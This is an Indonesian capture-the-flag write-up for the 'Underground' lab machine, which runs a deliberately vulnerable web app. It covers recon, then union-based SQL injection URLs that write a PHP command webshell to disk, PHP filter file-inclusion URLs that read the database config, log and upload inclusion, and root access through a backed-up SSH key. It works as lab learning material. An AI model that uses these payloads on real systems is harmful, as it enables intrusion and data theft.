Surabaya Hacker Link Underground Write Up

Challenges Information
Ini adalah write-up challenges dari Surabaya Hacker Link untuk mesin Underground, mesin ini dibuat dengan menggunakan salah satu Vulnerable Web yang biasa SHL gunakan untuk demo session dengan beberapa vulnerability yang telah diperbaiki agar challenges ini sedikit menarik.
Challenges
Pada web Forum Surabaya Hacker Link terdapat informasi challenges baru pengganti Heaven (Write-up Heaven VM ada di sini) informasi pada forum saya rasa cukup jelas seperti jangan merusak, jangan spoil, take the root and read root.txt, di sini saya menggunakan IP 110.93.14.30

ketika kita mengakses IP tersebut hanya terdapat halaman default dari nginx dan tidak ada informasi lainnya yang bisa digunakan untuk melakukan step selanjutanya sehingga kita perlu melakukan gathering information mendalam
Information Gathering and Reconnaisance
Seperti biasa pada tahap ini kita mencoba mencari tahu informasi lebih dari IP tersebut seperti mencari port dengan nmap, fuzzing directory dan file yang memungkinkan kita menemukan endpoint lain

Hasil Nmap menampilkan bahwa terdapat 3 port yang terbuka yaitu port 80 yang menjalankan web service nginx seperti pada informasi sebelumnya, port 2222 dan port 31337 yang menjalankan ssh service
Untuk fuzzing disini menggunakan FFUF dengan wordlist dirb dan dirsearch yang ada pada kali linux
ffuf -w /usr/share/wordlists/dirb/big.txt -u http://110.93.14.30/FUZZ
Hasil Fuzzing menunjukan bahwa terdapat file index.html, info.php dan robots.txt



Pada file phpinfo.php menampilkan output dari fungsi phpinfo() sehingga kita bisa pahami bahwa mesin ini menjalankan php

Pada file robots.txt yang umum digunakan untuk mengatur search engine crawler terdapat disallow pada file x.txt, disini kita coba akses file x.txt juga

Pada file x.txt hanya ada umpatan dan sedikit clue untuk menggunakan open source web vulnerability scanner, di sini langsung kepikiran nikto, kita coba scan juga menggunakan nikto
Hasil Nikto sebagai berikut

Terdapat readme.txt yang tidak terdeteksi ketika dilakukan fuzzing, ini umum terjadi karena wordlist yang kita gunakan kurang

Di dalam file readme.txt menjelaskan bahwa pada server ini terdapat aplikasi SVWA yang telah di-patch untuk beberapa vulnerability-nya, berdasarkan informasi tersebut kita coba mencoba mengakses direcotry SVWA/svwa dari web service dengan harapan sesuai dengan informasi yang disampaikan pada readme.txt
http://110.93.14.30/svwa/

Dan ternyata dugaan benar, terdapat aplikasi SVWA yang terinstall pada server, dengan ini kita bisa melanjutkan ke tahap selanjutnya
Exploitation
Setelah mendapatkan tampilan h3llcome, maka di sini kita bisa langsung mencoba fitur yang ada pada web ini dan mencari exploit yang bisa digunakan untuk mendapatkan akses ke dalam server, pada challenges ini terdapat beberapa cara untuk exploitasi untuk mendapatkan credentials dari low user
Exploit 1 SQL Injection to Write Webshell (Excellent)

Pada halaman awal terdapat list artikel yang ada pada website yang bisa kita baca, ketika kita membuka salah satu artikel tersebut kita akan diarahkan pada file read.php, pada file ini terdapat celah sql injection dikarenakan pada parameter id tidak di validasi dengan baik sehingga dapat digunakan oleh penyerang untuk melakukan kontrol query dan mengambil data lain yang ada pada database Berikut adalah payload yang kita gunakan untuk melakukan sql injection dengan union based untuk memunculkan user yang digunakan saat ini data database yang digunakan
http://110.93.14.30/svwa/read.php?id='1' union select 1,concat(user(),0x3a,database()),3,4--+-

setelah berhasil mengetahui user dan database yang digunakan, kita akan mencoba melakukan checking, apakah user saat ini memiliki privileges file, seperti yang kita tahu kita dapat melakukan upload webshell menggunakan sql injection dengan syarat user saat ini memiliki privileges files dan memiliki permission pada directory yang dapat diakses melalui service web
http://110.93.14.30/svwa/read.php?id='1' union select 1,file_priv,3,4 from mysql.user--+-


http://110.93.14.30/svwa/read.php?id='1' union select 1,"<?php phpinfo(); ?>",3,4 into outfile "/webroot/hehe.php"--+-


http://110.93.14.30/svwa/read.php?id='-1'union select 1,"<?php system($_GET['p']); ?>",3,4 into outfile "/webroot/hehex.php"--+-


Exploit 2 Local File Inclution PHP wrapper (Good)
Pada exploit ini kita membutuhkan akses ke dalam panel aplikasi web, maka dari itu kita buat user dulu dari fitur login yang ada pada aplikasi



http://110.93.14.30/svwa/admin/index.php?file=php://filter/convert.base64-encode/resource=index.php


http://110.93.14.30/svwa/admin/index.php?file=php://filter/convert.base64-encode/resource=../db/koneksi.php


Exploit 3 Local File Inclusion Access Log Poisoning (Bad)
Untuk exploit ini mirip dengan cara sebelumnya, yaitu mengexplorasi celah local file inlcusion, di sini kita akan melakukan inclusion terhadap file access log web server



Exploit 4 Local File Inclution from Image Upload (Excellent)
Untuk exploit ini masih mirip dengan cara sebelumnya, yaitu mengexplorasi celah local file inclusion lagi, di sini kita dapat melakukan inclusion terhadap file gambar yang kita unggah melalui fitur upload foto yang ada pada halaman utama setelah melakukan autentikasi



Exploit 5 SQL Injection to Read koneksi.php + etc passwd (Good)
Untuk exploit ini seperti pada exploit pada nomor 1, yaitu sql injection namun karena kita mendapatkan privileges file, kita dapat membaca file index.php dari document root yang didapatkan informasinya melalui phpinfo.php dan dengan itu kita bisa membaca dan mengetahui lokasi koneksi database aplikasi

Setelah mendapatkan access melalui salah satu dari 5 cara tersebut kita bisa memanfaakan informasi dari koneksi.php dan /etc/passwd, dengan ini kita tahu bahwa pada sistem terdaftar user human pada /etc/passwd dan pada service database lalu terdapat kredential human pada file koneksi.php, mesikpun 2 hal tersebut merupakan service yang berbeda namun hal ini sering dilakukan oleh manusia yang ga mau ribet dengan password maka password disamakan, pada case ini kita mencoba peruntungan dengan memanfaatkan human error ini
maka kita akan mencoba melakukan login pada service lain yang telah ditemukan melalui nmap sebelumnya dengan credentials dari koneksi.php, hasil recon sebelumnya menunjukan bahwa terdapat port 22 dan 2222 kita akan coba satu-satu

Privileges Escalation
Setelah mendapatkan akses human kita dapat langsung mencari cara untuk melakukan privileges escalation / menaikan hak akses kita ke hak akses yang lebih tinggi, pada challenges ini tidak dipungkiri bahwa privilges escalation-nya sangat kurang, hanya dengan membaca file backup ssh kita sudah bisa masuk sebagai root, karena kita tidak tau lokasi file backupnya kita bisa menggunakan cheatsheet dari g0tm1lk untuk mencari informasi yang bisa digunakan untuk melakukan privileges escalation
pada saat mencari writetable directory, kita menemukan sebuah directory yang tidak umum pada /var/backup/, berdasarkan nama directorynya kita bisa asumsikan bahwa file-file yang ada pada directory tersebut merupakan isi .ssh dari user root server


ssh -i id_rsa root@localhost



For Fun Vulnerability
dari 5 exploit sebelumnya, sebenarnya ada beberapa vulnerability lain yang bisa ditemukan, namun vulnerability ini tidak bisa digunakan untuk melanjutkan perjalanan pwning machine ini
XSS

Execution After Redirect
Pada halaman admin, ketika kita lakukan intercept menggunakan burp suite, server memberikan respon header Location: login.php dimana kita akan dilakukan redirect ke halaman login, namun body pada response server tersebut tampil, dengan informasi ini kita coba untuk menampilkan isi dari body tersebut ke browser dengan menghilangkan aksi redirect menggunakan burp suite proxy match and replace


saat kita akses kembali halaman admin, maka pada browser akan muncul dashboard yang akan tampil ketika kita sudah melakukan authentication dengan benar, namun pada dashboard ini tidak ada fitur yang bisa digunakan karena aplikasi web tidak dapat mengetahui sesi user / akses role user yang kita gunakan

fin.
References: http://www.securityidiots.com/Web-Pentest/SQL-Injection/Basic-Union-Based-SQL-Injection.html https://infosecwriteups.com/sql-injection-with-load-file-and-into-outfile-c62f7d92c4e2 https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/